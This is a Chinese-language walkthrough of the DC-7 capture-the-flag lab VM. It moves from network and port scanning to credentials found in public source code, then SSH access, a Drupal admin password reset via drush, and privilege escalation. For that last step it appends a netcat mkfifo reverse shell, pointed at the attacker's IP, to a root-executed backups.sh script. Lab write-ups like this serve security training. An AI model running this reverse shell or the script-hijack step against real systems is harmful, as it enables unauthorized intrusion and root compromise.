DC-7通关教程

一. 信息收集

1. 探测目标主机IP地址

arp-scan -l  //查看网段

vm  编辑--查看虚拟网络编辑器，看到靶机的网段

网段是： 192.168.83.0

是c段网络

2. 全面检测目标IP

nmap -sP 192.168.83.1/24

靶机ip是：

192.168.83.152

攻击机的ip是：

192.168.83.136

3.扫描端口

端口和服务是对应关系的根据计算机网络的应用层协议

nmap -p 1-65535 -A 192.168.83.152

80端口--http服务打开

22端口打开是ssh服务

访问页面

欢迎来到 DC-7

DC-7 引入了一些“新”概念，但我会让你自己去弄清楚它们是什么。 :-)

虽然这个挑战并不是那么技术性强，但如果你需要采用暴力破解或字典攻击，你可能不会成功。

你需要做的是，跳出“盒子”思考。

非常“跳出”盒子思考。 :-)

搜索

4.目录扫描

dirsearch -u 192.168.83.152

没有找到有用的信息

二. 渗透过程

1. 代码审计

废话不多说，先查看github上的源码

$username = "dc7user";

$password = "MdR3xOgB7#dW";

2. ssh远程登入

测试发现登不进后台，但是能登进ssh

ssh dc7user@192.168.83.152

cat mbox

在Linux中，backups.sh 通常是一个脚本文件的名称，用于执行备份任务。这个脚本可能包含一系列的命令，用于将文件、目录或整个系统备份到某个位置，可能是本地磁盘、网络共享、云存储等

root用户及其组用户（www-data）可以写入读取执行·，但其他用户没有写入的权限，这里可以作为提权的一个突破口

查看文件内容

发现了个drush命令，这个是drupal专属的一个操作系统命令，参考Drupal drush 常用命令

3. drush修改密码

这个命令需要先切换到drupal的目录

cd /var/www/html

通过命令我们发现了个管理员账号admin

drush user-information admin

接下来修改admin的密码

drush upwd admin --password="passwd"

登录成功了

4. 反弹shell

进入了后台，想办法写个马进行反弹shell

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.83.136 5555 >/tmp/f" >> backups.sh

监听拿到shell就可以拿到最终flag